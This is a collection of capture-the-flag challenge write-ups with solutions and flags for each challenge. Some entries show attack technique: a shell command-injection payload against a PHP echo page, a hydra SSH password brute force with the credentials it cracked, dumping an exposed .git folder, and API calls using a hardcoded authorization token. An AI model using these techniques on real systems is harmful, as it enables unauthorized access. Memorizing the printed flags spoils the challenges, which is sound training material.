Parseltounge

Forensics – 379pts

Description

Hisssss, can you ssssee ssssome sssssecretssss?

Solution

Attached file is a compiled python script, after decompiling with decompyle3 parseltounge.pyc > p.py we get the following python code.

import Crypto.Util.number as l2b
import random
sszz = [
 'aposlogahs', 'apsle', 'Sine', 'aʃe', 'bei∫ed', 'tuif', 'Kura', 'Vera', 'pard', 'pardshesl', 'bo∫', 'Gara', 'vinth', 'Pelʃis', 'keilsing', 'khair', 'tikni', 'Bana', 'Slehara', 'koukh', 'kups', 'dai', 'Andi', 'dorʃe', 'doʃe', 'sloʃe', 'kaʃe', 'Sarna', 'Suu', 'giʃe', 'Gorna', 'ass-girou', 'dros', 'feslure', 'hasli', 'riʃan', 'fraeslis', 'vris', 'gatsi', 'runʃe', 'Tira', 'hishe', 'einʃe', 'hesleuf', 'Firna', 'Baʃ', 'ʃem', 'ai', 'ine', 'dinʃe', 'Negei', 'slanp', 'ʃena', 'sliʃe', 'dati', 'slifai', 'Kuine', 'Ha', 'nisl', 'ʃe', 'Sobne', 'bna', 'Sora', 'ovith', 'houk', 'parknent', 'fasar', 'nesha', 'praughs', 'Pura', 'ʃine', 'ʃane', 'gisan', 'rai∫e', 'kata', 'Ara', 'Nigi', 'akaʃe', 'rashe', 'slan', 'Derne', 'Tina', 'snart', 'gariʃe', 'kerashe', 'stabsle', 'Fasi', 'Peina', 'Tasi', 'Sekusi', 'Harne', 'kapi', 'Athne', 'vaʃe', 'asl', 'ʃik', 'agiro', 'vei', 'Asuna', 'Teʃ', 'Fiʃ', 'Doʃ', 'ʃira', 'Haʃ', 'Vuʃ', 'vindovth', 'Bira', 'Sa', 'Slu', 'ou', 'iangsteur']
zzss = b'\x07\x1c\x0e\x14\x17\n\x06\x03\x0cJ\x00@G\x0e\x017X\x0b\x04W\xf8\xb5\x03P\x06\x0f\x80\xea\x9b\x00\x05A\x16\\\x00.\x17\x0f'
s = False
z = True
ss = s & z
z = abs(ss) - abs(z)
zz = ss | z
z = zz - z - z
zz = z | z
z = zz << zz
s = ss >> ss
sz = s << z
zs = z << s
z = zs - sz
ss = str(z).replace(str(zs), str(ss).replace(str(ss), str(z).replace(str(z), '')))
sss = bytes(ss.join(sszz), 'utf-8')
zzz = bytes([_a ^ _b for _a, _b in zip(sss, zzss)])
ssszzz = bytes([_a ^ _b for _a, _b in zip(zzz, zzss)])
sss += b'S'
ssss = []
ss = sss[:len(sss) // 2]
zz = sss[len(sss) // 2:]
for s in range(len(ss)):
    ssss.append(ss[s] ^ zz[s])
else:
    if 5 == 1:
        print(' '.join([random.choice(sszz).upper() for _ in range(random.randrange(5, 10))]))
    else:
        print(' '.join([random.choice(sszz).upper() for _ in range(random.randrange(5, 10))]))

Executing this script outputs some random strings from the sszz array like ASUNA KURA SLANP SLIFAI NEGEI HASLI APSLE. In order to understand what the code does we can print out the values of the variables after assignment. When we add print(zzz) after zzz = bytes([_a ^ _b for _a, _b in zip(sss, zzss)]) we get the flag.

flag{eabd9a04bdd1ea626f2cfbb0ea5c5feb}

Henpeck

Forensics – 124pts

Description

So I’ll be honest, I never actually went through the Mavis Beacon program…

Solution

Here we got a pcap file containing USB packets. Using this script to decode the input we get the following output.

aaso the answer is flag{f7733e0093b7d281dd0a30fcf34a9634} hahahah lolEnterc

Typewriter

Forensics – 448pts

Description

A CONSTELLATIONS employee had his machine crash and he lost all his work. Thankfully IT managed to get a memory dump. Can you recover his work?

Solution

Using Volatility3 to examine the running processes with python3 vol.py -f image.bin windows.pslist.PsList we can see that Word was running at the time.

2760	2212	WINWORD.EXE	0x85fa2d20	8	316	1	False	2021-02-21 16:24:39.000000 	N/A	Disabled

Identifying files with python3 vol.py -f image.bin windows.filescan.FileScan reveals an interesting document.

0x7e615f80	\Users\IEUser\Desktop\~$NFIDENTIAL DOCUMENT.docx	128
0x7e841f80	\Users\IEUser\Desktop\CONFIDENTIAL DOCUMENT.docx	128
0x7eb665b8	\Users\IEUser\Desktop\CONFIDENTIAL DOCUMENT.docx	128

Lets dump those files. Running python3 vol.py -f image.bin windows.dumpfiles.DumpFiles extracts all files found in the memory dump, and when it’s done we can find two interesting files.

file.0x85d665b8.0x85e41580.DataSectionObject.CONFIDENTIAL DOCUMENT.docx.dat
file.0x85d665b8.0x85e41b30.SharedCacheMap.CONFIDENTIAL DOCUMENT.docx.vacb

Checking the file type of the files reveals that it’s Microsoft Word 2007+ files, but they are corrupted and cant be opened with LibreOffice. We can extract the data from the files using 7z x file.0x85d665b8.0x85e41580.DataSectionObject.CONFIDENTIAL DOCUMENT.docx.dat. This extracts the document.xml file which contains the word document data.

To view the word document we can create a new docx file and replace the word/document.xml with the extracted document.xml and open it.

flag{c442f9ee67c7ab471bb5643a9346cf5e}

Resourceful

Mobile – 50pts

Description

I built my first ever android app with authentication!

Solution

When we have decompiled the app with JADX we can take a look at the resoruces.

Lets take a look at the strings.

The md5 string looks interesting, as it turns out it is the flag.

flag{7eecc051f5cb3a40cd6bda40de6eeb32}

Andra

Mobile – 50pts

Description

You know what to do. 🙂

Solution

When starting the app we get a login screen.

Lets decompile the app and find the login check.

@Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity
    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_main);
        View findViewById = findViewById(R.id.name);
        Intrinsics.checkNotNullExpressionValue(findViewById, "findViewById(R.id.name)");
        this.name = (EditText) findViewById;
        View findViewById2 = findViewById(R.id.pass);
        Intrinsics.checkNotNullExpressionValue(findViewById2, "findViewById(R.id.pass)");
        this.pass = (EditText) findViewById2;
        View findViewById3 = findViewById(R.id.login_btn);
        Intrinsics.checkNotNullExpressionValue(findViewById3, "findViewById(R.id.login_btn)");
        Button button = (Button) findViewById3;
        this.login_btn = button;
        if (button == null) {
            Intrinsics.throwUninitializedPropertyAccessException("login_btn");
        }
        button.setOnClickListener(new MainActivity$onCreate$1(this, "Nahamcom", "pink_panther@786"));
    }

Here we find the onClickListener for the button with some parameters that looks like a username and password. When entering those in the app we are able to log in and get the flag.

flag{d9f72316dbe7ceab0db10bed1a738482}

Microscopium

Mobile – 476pts

Description

This cool app will keep your secrets!

Solution

When decompiling the app we find out that it’s an React Native application, to get the javascript bundle we can use apktool to extract the data. Opening the bundle and pretty print it we can find a function with the string Insert the pin to get the flag.

function b() {
                var t;
                (0, o.default)(this, b);
                for (var n = arguments.length, l = new Array(n), u = 0; u < n; u++) l[u] = arguments[u];
                return (t = v.call.apply(v, [this].concat(l))).state = {
                    output: 'Insert the pin to get the flag',
                    text: ''
                }, t.partKey = "pgJ2K9PMJFHqzMnqEgL", t.cipher64 = "AA9VAhkGBwNWDQcCBwMJB1ZWVlZRVAENW1RSAwAEAVsDVlIAV00=", t.onChangeText = function(n) {
                    t.setState({
                        text: n
                    })
                }, t.onPress = function() {
                    var n = p.Base64.toUint8Array(t.cipher64),
                        o = y.sha256.create();
                    o.update(t.partKey), o.update(t.state.text);
                    for (var l = o.hex(), u = "", c = 0; c < n.length; c++) u += String.fromCharCode(n[c] ^ l.charCodeAt(c));
                    t.setState({
                        output: u
                    })
                }, t
            }

So the function basically takes the base64 decoded value of t.cipher64 and XOR each value with a SHA256 hash based on t.partKey and the entered PIN. Starting the app we can find out that the max length of the PIN is four chars, so lets write a script to find the flag.

#!/usr/bin/env python3

import hashlib
import base64

part_key = b'pgJ2K9PMJFHqzMnqEgL'
cipher64 = 'AA9VAhkGBwNWDQcCBwMJB1ZWVlZRVAENW1RSAwAEAVsDVlIAV00='
data = base64.b64decode(cipher64)

pin = 0

while True:
    padded = f'{pin:04}'
    sha = hashlib.sha256()
    sha.update(part_key)
    sha.update(bytes(padded,'utf-8'))
    hexdigest = sha.hexdigest()

    result = ''
    for idx in range(0, len(data)):
        result += chr(data[idx] ^ ord(hexdigest[idx]))

    pin += 1
    
    if 'flag{' in result:
        print('Flag found', result)
        break

Running the script we get the flag.

Flag found flag{06754e57e02b0c505149cd1055ba5e0b}

Abyss

Misc – 50pts

Description

A Vortex? No… an Abyss.

Solution

Connecting to the service we get screen after screen of random characters.

yrn3aC$>1WvTcy]BdVg^_iDq^_!RswL<q8P=q8cEx-F<8Yp}fZ?~->K7'pL6b!p!S~n4gg2"6T=...

If we keep the connection open for a bit we start to receive the flag repeatedly.

flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}flag{db758a0cc25523993416c305ef15f9ad}

Alphabet Soup

Misc – 461pts

Description

A, B, C, and V, G, L, Y… wait a second, that’s not how the song goes!

Solution

Opening the attached C# source code we find some obfuscated code. Cleaning it up a bit we end up with the following.

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Reflection;
using System.Linq;

namespace NahamConCTF 
{ 
    class Program 
    { 
        private static string decode(string data, string alphabetMap) 
        {
            string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
            string returnValue = "";
            Dictionary<char, char> alphabetDict = new Dictionary<char, char>();
            
            for (int i = 0; i < alphabet.Length; ++i)
            { 
                alphabetDict.Add(alphabetMap[i], alphabet[i]);
            }
            
            for (int i = 0; i < data.Length; ++i)
            { 
                if ((data[i] >= 'A' && data[i] <= 'Z') || (data[i] >= 'a' && data[i] <= 'z'))
                { 
                    returnValue += alphabetDict[data[i]];
                }
                else
                { 
                    returnValue += data[i]; 
                }
            } 

            return returnValue;
        }

        static void Main() 
        {
            string data = "<READACTED>";
            string alphabetMap = "lQwSYRxgfBHqNucMsVonkpaTiteDhbXzLPyEWImKAdjZFCOvJGrU";
            Assembly assembly = Assembly.Load(Convert.FromBase64String(decode(data, alphabetMap)));
            MethodInfo methodInfo = assembly.EntryPoint;
            methodInfo.Invoke(assembly.CreateInstance(methodInfo.Name), null);
        }
    }
}

So the data variable contains a encoded .NET assembly that is resolved at runtime. Lets dump the assembly and take a look at it by changing the Main method to the following and then executing it.

public static void Main() 
{
    string data = "<REDACTED>";
    string alphabetMap = "lQwSYRxgfBHqNucMsVonkpaTiteDhbXzLPyEWImKAdjZFCOvJGrU";
    var decoded = Convert.FromBase64String(decode(data, alphabetMap));

    using (BinaryWriter binWriter = new BinaryWriter(File.Open("output.dll", FileMode.Create)))  
    {
        binWriter.Write(decoded);
    }
}

Now we got the assembly in output.dll. Opening this in ILSpy or another .NET decompiler we can find a large byte array in the Main method in the Program class.

// ConsoleApp1.Program
using System;

internal class Program
{
	private static void Main()
	{
		byte[] array = new byte[40040]
		{
			159,
			188,
			...
			79,
			224
		};
		Console.WriteLine("Not so fast!");
	}
}

Lets dump the data to a file by adding the following to the Main method and executing it.

using (BinaryWriter binWriter = new BinaryWriter(File.Open("output2", FileMode.Create)))  
{
    binWriter.Write(array);
}

Now we got the array data in the file output2. Running strings -n8 output2 reveals the flag.

zYmb@"Un
}R0wk!7s
U7O0wjIL
tBRwV?|)(
flag{b6cfb6656ea0ac92849a06ead582456c}
 lk!!@N2
\(*     ,8+'
z)=g)@NA9
7@SiL.s(K

Gone Batty

Misc – 489pts

Description

Happy 100th, Trickbot!

Solution

Attached is an almost 10000 lines long obfuscated bat file.

@echo off
set zfvgawagi=set
%zfvgawagi% ufykqylob= 
%zfvgawagi%%ufykqylob%gazhkl==
%zfvgawagi%%ufykqylob%lsdppuf%gazhkl%/
%zfvgawagi%%ufykqylob%kamnrmirz%gazhkl%a
%zfvgawagi%%ufykqylob%kcjmprb%gazhkl%c
%zfvgawagi%%ufykqylob%nsxzbbjvw%gazhkl%m
%zfvgawagi%%ufykqylob%btohszm%gazhkl%d
%zfvgawagi%%ufykqylob%swpkkttax%gazhkl%e
%zfvgawagi%%ufykqylob%smivqg%gazhkl%x
%zfvgawagi%%ufykqylob%nbyxysg%gazhkl%i
%zfvgawagi%%ufykqylob%fhqrcmmp%gazhkl%t
%zfvgawagi%%ufykqylob%lmkzcgr%gazhkl% 
...

Starting the clean up we find a second block of around 200 lines of set commands.

set /a axpewk=7789391 %% 7789294
cmd /c exit %axpewk%
set qeluatb=%=exitcodeAscii%
set /a scboabb=5338648 %% 5338550
cmd /c exit %scboabb%
set wemnehsl=%=exitcodeAscii%
set /a pukizmym=5454801 %% 5454702
cmd /c exit %pukizmym%
set dlbiwvbel=%=exitcodeAscii%
set /a dxoyty=7625800 %% 7625700
cmd /c exit %dxoyty%
set ouiyvyqu=%=exitcodeAscii%
...

Extracting all the new set commands to a new bat file and running it produces a lot of variables which we can dump by using SET > env.txt and use the values to continue to clean up the rest of the file.

When we have replaced all the variables from env.txt we get a lot of commented out variables, around 9700 lines.

rem set fhofmklptejwaibqyktyvgxevwimiupegqqimnsyivbngqgyut=eytpoohwmdottnrivekjagnoklhdhjtkplhhbudzdoilgyjqtggiwybidrqkoqn
rem set jwvcofueaqrvzdvaopbhgmbjxnexydojatfffyxg=saygkfmsevqywftyvrizkfpqgrblucfjnfqbeuljkknzdwn
rem set iomoccvfeyfpfrlzhfjztexliatoxmwniivelmjrencvtoufvglitn=vlmjawdjypqglkjxdtcrrcmtsrwyyawojlxuqzpnlqem
rem set lpnwqgoahbrknkkfavuqdsehoegctywwueietywxmmdpfweqgei=vcjhrjfstnobdubzqwbftmrcn
rem set hpyzpjowiikauceheogxtcnnmnwuui=kabazcpzchbvycojbygzxaakxjioxskupataixbtfglnzl
rem set iidsgxdrnetndugyjlkldmqemtqxtwfhiepuzzopzcwwrnhujtkuaidpfvgo=amutqmniivqjphduxlqqfsoyhpo
rem set fjkgzhetqtydkvfhtcigdnbbmdqpfuefveaaoulhzinjeovpike=cwboqyexpve
:: set khdvpxnedglxrlsq=ulzeejjlcvpqznskaymnyuxevcszqisjuwg
...

In the file we can find some variables named flag_characterXX, extracting all those we get the flag.

:: set flag_character1=f
:: set flag_character2=l
:: set flag_character3=a
:: set flag_character4=g
:: set flag_character5={
:: set flag_character6=b
:: set flag_character7=3
:: set flag_character8=9
:: set flag_character9=5
:: set flag_character10=c
:: set flag_character11=c
:: set flag_character12=3
:: set flag_character13=e
:: set flag_character14=3
:: set flag_character15=3
:: set flag_character16=c
:: set flag_character17=d
:: set flag_character18=e
:: set flag_character19=b
:: set flag_character20=b
:: set flag_character21=e
:: set flag_character22=c
:: set flag_character23=9
:: set flag_character24=d
:: set flag_character25=1
:: set flag_character26=1
:: set flag_character27=7
:: set flag_character28=2
:: set flag_character29=9
:: set flag_character30=2
:: set flag_character31=b
:: set flag_character32=d
:: set flag_character33=2
:: set flag_character34=e
:: set flag_character35=8
:: set flag_character36=1
:: set flag_character37=c
:: set flag_character38=}

flag{b395cc3e33cdebbec9d117292bd2e81c}

ngrocket

Scripting – 499pts

Description

Didn’t know this party was BYOB, bring-your-own-box? No worries! Blast off as many rockets as you would like to a location of your choosing! Hope the right one lands…

Solution

When connecting to the service we are prompted to enter a host and port to send a rocket to.

Entering a host and port using the ngrok service we get a key and an IV for the sent data.

And the data received by the listening service looks something like this.

8670671ab9ff69018d6d1507157fee0f853a28dcc0d78bd04baab6adf479bd34fd841bd7e730aebe1866867a9efa01022cba2dc3685c862a4d93fce70e5578af

Using the key and IV to decrypt the received data returns garbage for most of the rockets, some rockets say something like ‘oops empty’. But once in a while we get a rocket containing a string telling us that a character of the flag is in index n. So we need to listen to a lot of rockets, decrypt them and check if we got a character of the flag, then we need to be able to fire off a lot of rockets to our service.

Python scripts for the client and server can be found here. Starting the scripts and waiting for a while, hoping to receive the correct rockets, we get the flag.

Flag found flag{5d86a82e5ba044c0df2613ca708e1b8c}

$Echo

Web – 50pts

Description

So I just made a hardcoded bot that basically tells you what you wanna hear. Now usually it’s a $ for each thing you want it to say but I’ll waive the fee for you if you beta test it for me.

Solution

All we have on the challenge page is an input field where we can enter some text that will be echoed back on the page.

After trying out some characters we find out that there seems to be a filter on the input.

To be able to get command injection we can add %0A as the first character of the parameter echo, when using this to send /?echo=%0Acat%20index.php we are able to get the source for the page.

<?php

    $to_echo = $_REQUEST['echo'];
    $cmd = "bash -c 'echo " . $to_echo . "'";

    if(isset($to_echo))
    { 
        if($to_echo=="") {

        print "Please don't be lame, I can't just say nothing.";   
        
        } elseif (preg_match('/[#!@%^&*()$_+=\-\[\]\';,{}|":>?~\\\\]/', $to_echo)) {
   
        print "Hey mate, you seem to be using some characters that makes me wanna throw it back in your face >:(";
               
        } elseif ($to_echo=="cat") {
   
        print "Meowwww... Well you asked for a cat didn't you? That's the best impression you're gonna get :/";
                          
        } elseif (strlen($to_echo) > 15) {

        print "Man that's a mouthful to echo, what even?";

        } else {
            system($cmd);
        }
    
    } else {
        print "Alright, what would you have me say?";
    }
    
?>

Here we can see the filter and also a length constraint on the input. Checking out the files on the server we can find a flag.txt file in ../flag.txt. But we cant use the previous way to cat the flag.txt since we exceed the length limit. Focusing on the filter we can see that neither < nor ` is filtered meaning we should be able to pipe the file to echo without using the previous trick.

Entering `<../flag.txt` in the input field and submitting returns the flag contents.

flag{1beadaf44586ea4aba2ea9a00c5b6d91}

eaxy

Cryptography – 50pts

Description

Crypto is eaxy, it’s all about math and keys 🙂

Solution

The attached file contains a bunch of seemingly random data. Trying to XOR with different values reveals some text in different parts of the file.

The XOR key you used to find string this is the 3 character index of the flag 🙂

So we could write a script to try all combinations and search for parts of the string.

#!/usr/bin/env python3

input = open('eaxy', 'rb')

data = input.read()

input.close()

for val in range(0, 256):
    decoded_array = []
    for idx in range(0, len(data)):
        decoded_array.append(data[idx] ^ val)

    output = open('output/' + hex(val), 'wb')
    output.write(bytes(decoded_array))
    output.close()

After executing this script we get a file for each tried value, when we run grep XOR * we get a list of all files that was correctly decoded.

Binary file 0x30 matches
Binary file 0x31 matches
Binary file 0x32 matches
Binary file 0x33 matches
Binary file 0x34 matches
Binary file 0x35 matches
Binary file 0x36 matches
Binary file 0x37 matches
Binary file 0x38 matches
Binary file 0x39 matches
Binary file 0x61 matches
Binary file 0x62 matches
Binary file 0x63 matches
Binary file 0x64 matches
Binary file 0x65 matches
Binary file 0x66 matches
Binary file 0x67 matches
Binary file 0x6c matches
Binary file 0x7b matches
Binary file 0x7d matches

Checking the index value of the decoded strings we can rebuild the flag.

flag{16edfce5c12443b61828af6cab90dc79}

Bionic

The Mission – 50pts

Description

CONSTELLATIONS has “tried” to reduce their attack surface by offering just a static website. But you might find some low-hanging fruit to get you started.

With the flag of this challenge, you should also find a new URL that will assist in the next challenge.

Solution

Checking out the robots.txt file we get the flag and the URL for the next challenge.

User-agent: *
Disallow: /meet-the-team.html

flag{33b5240485dda77430d3de22996297a1}

Meet the team

The Mission – 50pts

Description

Recover the list of employees working at CONSTELLATIONS.

With the flag of this challenge, you should find new information that will help with future challenges.

Solution

On the meet-the-team.html page we can see that the list of employees is redacted.

After some checking around we find out that a .git folder is published to the web server.

To retrieve the repository we can use GitTools to first dump the repo with gitdumper.sh, when we have the files we can extract the contents with extractor.sh. Now we have a couple of different directories for different versions of the page. In one of the earlier versions we can find the previous meet-the-team.html page containing the list of employees.

Checking the source for the page we find the flag in a comment at the end of the list.

<!-- <li><h4><b>flag{4063962f3a52f923ddb4411c139dd24c}</b></h4></li> -->

Lyra

The Mission – 50pts

Description

Use open-source intelligence to track down information on Lyra.

With the flag of this challenge, you should also find details you can use in later challenges.

Solution

We can find Lyra Patte on twitter.

Checking her tweets we can find a tweet with a link to a page on constellations.page.

Clicking on the link gets us to https://constellations.page/constellations-documents/1/ which contains some hiring guidelines.

Changing the Id we can find some other pages, when we get to Id 5 we get the flag.


Hydraulic

The Mission – 190pts

Description

Gain access with the information you have gathered thus far and retrieve the flag.

Solution

Now we have a server with an open ssh port, but no user and password. So if we use the information from the previous challenges we can generate a list of usernames from the first names of the employees and take the default account passwords to try to brute force the ssh service with hydra.

hydra -L usernames.txt -P passwords.txt ssh://challenge.nahamcon.com:32697Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-03-13 13:17:37
[DATA] max 16 tasks per 1 server, overall 16 tasks, 520 login tries (l:8/p:65), ~33 tries per task
[DATA] attacking ssh://challenge.nahamcon.com:32697/
[32697][ssh] host: challenge.nahamcon.com   login: pavo   password: starsinthesky
[STATUS] 229.00 tries/min, 229 tries in 00:01h, 291 to do in 00:02h, 16 active
[STATUS] 235.50 tries/min, 471 tries in 00:02h, 49 to do in 00:01h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-03-13 13:19:51

So we found a valid password for the user pavo. Logging in using these credentials we can access the flag in the home directory.

flag{cadbbfd75d2547700221f8c2588e026e}

Centaurus

The Mission – 495pts

Description

Constellation employees use this app to secure their passwords. Is it really secure?

Solution

Now we got an android app. When decompiling the app with JADX we can start to check out how it works. We can quickly see that it’s obfuscated due to the different packages and classes are named a, b, c and so on. After some analysis of the source we find an interesting interface.

public interface c {
    @e("users/{uuid}")
    d<c.b.a.c.d> a(@p("uuid") String str);

    @l("passwords/{uuid}")
    d<b> b(@p("uuid") String str, @a b bVar);

    @e("notes/{uuid}")
    d<c.b.a.c.a[]> c(@p("uuid") String str);

    @e("passwords/{uuid}")
    d<b[]> d(@p("uuid") String str);

    @l("auth")
    d<c.b.a.c.d> e(@a c.b.a.c.c cVar);

    @l("users")
    d<c.b.a.c.d> f(@a c.b.a.c.c cVar);

    @l("notes/{uuid}")
    d<c.b.a.c.a> g(@p("uuid") String str, @a c.b.a.c.a aVar);
}

After some more analysis we can find what looks like a HTTP client containing the base URL and an authorization header for the API.

d.e("http://challenge.nahamcon.com:31234/api/", "$this$toHttpUrl");

c2.a("Authorization", "ZUBoMXQybXw0RlhFU05TNVpBMiZndkRLSmRfZDVYZDM=");

Using this information we can call the users endpoint to see if we can access it. And sure enough, we get a response with the users and the uuids for each user.

[
  {
    "username": "gemini.coley",
    "uuid": "2164421e-3cdc-465f-b1fc-2da0bed89a6c"
  },
  {
    "username": "pavo.welly",
    "uuid": "b4bc4415-bb08-49aa-9b87-c3f232253c4d"
  },
  {
    "username": "congon4tor",
    "uuid": "f5e80b35-8e12-43a5-88a5-7bc8585ab234"
  },
  {
    "username": "testaccount",
    "uuid": "09ad1f68-11a2-4855-98ed-93c2bc3f7193"
  },
  {
    "username": "admin",
    "uuid": "812b3885-6203-4101-997a-a7ca5afcc969"
  },
  {
    "username": "adminf",
    "uuid": "91aab5b1-c75e-45fb-9db6-7a1579c157a6"
  }
]

Calling the passwords endpoint with each uuid returns a bunch of passwords, but no flag. Time to try the notes endpoint.

Calling the notes endpoint with gemini.coley’s uuid we get the flag.

[
  {
    "content": "flag{4a8f943a965086945794066f7ce97f23}",
    "name": "flag"
  }
]

NASCAR

The Mission – 499pts

Description

CONSTELLATIONS employees rejoice, NASCAR has developed a cloud solution to control cars remotely! You are headed to a race and need to get up and running. Here are some logs that might help you get started.

Solution

Connecting to the service we can find out that we need to provide the CAN codes for locking the car and setting the odometer to 40mph.

    _   _____   _____ _________    ____ 
   / | / /   | / ___// ____/   |  / __ \
  /  |/ / /| | \__ \/ /   / /| | / /_/ /
 / /|  / ___ |___/ / /___/ ___ |/ _, _/ 
/_/ |_/_/  |_/____/\____/_/  |_/_/ |_|  
                                        


Please send the CAN codes to:

1. Lock the car
2. Set the odometer to 40 mph

Checking the provided log file we quickly find out two potential codes for the lock code, 19B#000000000000 and 19B#00000F000000. As it turns out, the lock code is 19B#00000F000000. Now we have to calculate the odometer value, checking the logs the code is most likely to begin with 244# and then the correct value.

Checking out the code for ICSim we can find the formula for calculating the correct values, now we got 244#00000018FF. Entering those codes returns the flag.

flag{e056ee2f338a63d03a2e47aefebf178f}

Gus

The Mission – 50pts

Description

Use open-source intelligence to track down information on Gus.

With the flag of this challenge, you should also find details you can use in later challenges.

Solution

Following the GitHub link on the CONSTELLATIONS web site we can see one person in the CONSTELLATIONS organization.

The one person in the organization is Gus.

Checking out the development repository we a commit that says update flag.txt.

Opening the file reveals the flag.

flag{84d5cc7e162895fa0a5834f1efdd0b32}

Hercules

The Mission – 50pts

Description

Use open-source intelligence to track down information on Hercules.

With the flag of this challenge, you should also find details you can use in later challenges.

Solution

If we check Gus’s followers on GitHub we can find a follower named HerculesScox.

Going to his GitHub account we can find a repository named maintenance.

Taking a look at the latest commit we can see that he has updated the file connect.sh. Opening this file reveals the flag.

flag{5bf9da15002d7ea53cb487f31781ce47}

Orion

The Mission – 156pts

Description

Use open-source intelligence to track down information on Orion.

With the flag of this challenge, you should also find a password you can use in later challenges.

Solution

Orion Morra can be found on twitter.

Taking a look at the tweets, the flag can be found in one of his posts.

flag{0bcffb17cbcbf4359a42ec45d0ccaf2}